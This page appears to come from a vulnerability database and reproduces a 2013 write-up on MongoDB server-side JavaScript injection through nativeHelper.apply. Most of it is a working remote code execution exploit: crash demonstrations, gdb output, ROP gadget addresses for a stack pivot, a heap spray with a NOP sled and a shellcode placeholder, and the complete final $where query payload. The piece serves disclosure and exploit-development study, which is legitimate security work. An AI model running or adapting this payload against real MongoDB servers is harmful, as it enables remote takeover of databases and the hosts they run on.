Mongo DB OS Command Injection

2013-03-25 / 2013-04-02
Risk: High
Local: No
Remote: Yes

CVSS Base Score: 6/10
Impact Subscore: 6.4/10
Exploitability Subscore: 6.8/10
Exploit range: Remote
Attack complexity: Medium
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

Trying some server side javascript injection in mongodb, I wondered if it would be possible to pop a shell. The run method seems good for this : > run("uname","-a") Sun Mar 24 07:09:49 shell: started program uname -a sh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux 0 Unfortunately, this command is only effective in mongo client : > db.my_collection.find({$where:"run('ls')"}) error: { "$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run is not defined nofile_a:0", "code" : 10071 } But let&#8217;s dig a little bit. > run function () { return nativeHelper.apply(run_, arguments); } So you can run the &#171; run &#187; function directly by calling nativeHelper.apply(run_,["uname","-a"]); In server side, the result show us that nativeHelper.apply method exists ! > db.my_collection.find({$where:'nativeHelper.apply(run_, ["uname","-a"]);'}) error: { "$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run_ is not defined nofile_a:0", "code" : 10071 } So what&#8217;s run_ ? So what's "run_" > run_ { "x" : 135246144 } An associative array, can we use it in server side ? > db.my_collection.find({$where:'nativeHelper.apply({"x":135246144}, ["uname","-a"]);'}) Sun Mar 24 07:15:26 DBClientCursor::init call() failed Sun Mar 24 07:15:26 query failed : sthack.my_collection { $where: "nativeHelper.apply({"x":135246144}, ["uname","-a"]);" } to: Error: error doing query: failed Sun Mar 24 07:15:26 trying reconnect to Sun Mar 24 07:15:26 reconnect failed couldn't connect to server The server crashed \o/ ! Let&#8217;s check the source code : ./src/mongo/scripting/engine_spidermonkey.cpp JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) { try { Convertor c(cx); NativeFunction func = reinterpret_cast( static_cast( c.getNumber( obj , "x" ) ) ); void* data = reinterpret_cast<void*>( static_cast( c.getNumber( obj , "y" ) ) ); verify( func ); BSONObj a; if ( argc > 0 ) { BSONObjBuilder args; for ( uintN i = 0; i < argc; ++i ) { c.append( args , args.numStr( i ) , argv[i] ); } a = args.obj(); } BSONObj out; try { out = func( a, data ); } catch ( std::exception& e ) { nativeHelper is a crazy feature in spidermonkey missused by mongodb: the NativeFunction func come from x javascript object and then is called without any check !!! > db.my_collection.find({$where:'nativeHelper.apply({"x":0x31337}, ["uname","-a"]);'}) Sun Mar 24 07:20:03 Invalid access at address: 0x31337 from thread: conn1 Sun Mar 24 07:20:03 Got signal: 11 (Segmentation fault). Exploitation Challenge now is to make a reliable exploit bypassing NX and ASLR (on x86 32bits for the moment). To achieve this let&#8217;s debug it ! The func NativeFunction take 2 arguments : the first one is the arguments array from javascript call in BSONObj format. The second one is a number from y. In gdb if we look at eax when the crash occurs [eax]=pointer on our BSONObj gdb$ x/wx $eax 0xb21ae868: 0x0917a77c gdb$ x/10s 0x0917a77c 0x917a77c: "N" 0x917a77e: "" 0x917a77f: "" 0x917a780: "0260" 0x917a783: "B" 0x917a785: "" 0x917a786: "" 0x917a787: 'a' <repeats 65 times> So we need gadgets to pivot in the [[eax]]+>0xb 0x836e204: mov eax,DWORD PTR [eax] 0x836e206: mov DWORD PTR [esp+0x4],0x20 0x836e20e: mov DWORD PTR [esp],esi 0x836e211: call DWORD PTR [eax+0x1c] This one will dereference eax and then call [eax+0x1c] that we control. So we can put a second gadget to xchg esp, eax at our arguments+011 This gadget must also increment esp to point in our buffer and not in BSONObj structure. Here is a little problem : arguments is UTF-8 encoded so we have to find gadgets with bytes inferior to 0x7f. 008457158 respects it : 0x8457158: xchg esp,eax 0x8457159: xor BYTE PTR [eax],al 0x845715b: add esp,0x4 0x845715e: pop ebx 0x845715f: pop ebp 0x8457160: ret So the ret will fall in arguments+001, that&#8217;s okay for us, we can put another gadget here. We need to increment the stack pointer to escape the second gadget at arguments+011 0x8351826: add esp,0x20 0x8351829: pop esi 0x835182a: pop edi 0x835182b: pop ebp 0x835182c: ret Here we go ! Our stack is controlled, but the UTF-8 limitation is really bad, the mmap64@plt is at address 0x816f768 so we can&#8217;t use it in arguments. Let&#8217;s pivot again. As we are in javascript environment the same techniques used in browser could be effective ! Sorry but we will heapspray ! The first one with NOP+SHELLCODE and we will mmap it RWX. The second one with our RETCHAIN+ROPCHAIN that call mmap without UTF-8 limitation. 020202020 => RETCHAIN+ROPCHAIN So we need a gadget to put it in eax then xchg esp, eax again. 0x8055a6c: pop eax 0x8055a6d: adc dl,0x27 0x8055a70: ret then 008457158, the same as above will pivot the stack. Here we go again ! Our stack is controlled without any contraints ! The next part is simple as mmap64 is directly callable via plt. Return to mmap64@plt : 0x816f768 and stack look like that 0x0c0c0c0c => nop sled where to ret after mmap64 0x0c0c0000 *addr 0x00001000 size 0x00000007 RWX prot 0x00000031 MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS 0xffffffff 0x00000000 Here is the total exploit : db.my_collection.find({'$where':'shellcode=unescape("METASPLOIT JS GENERATED SHELLCODE"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-shellcode.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+shellcode; } ropchain=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-ropchain.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+ropchain; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"\x26\x18\x35\x08"+"MongoSploit!"+"\x58\x71\x45\x08"+"sthack is a nice place to be"+"\x6c\x5a\x05\x08"+"\x20\x20\x20\x20"+"\x58\x71\x45\x08"]);'}) This feature/vulnerability was reported 3 weeks ago to 10gen developers, no patch was commit but the default javascript engine was changed in last version so there is no more nativeHelper.apply function. A metasploit module is comming soon&#8230;


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022,


Back to Top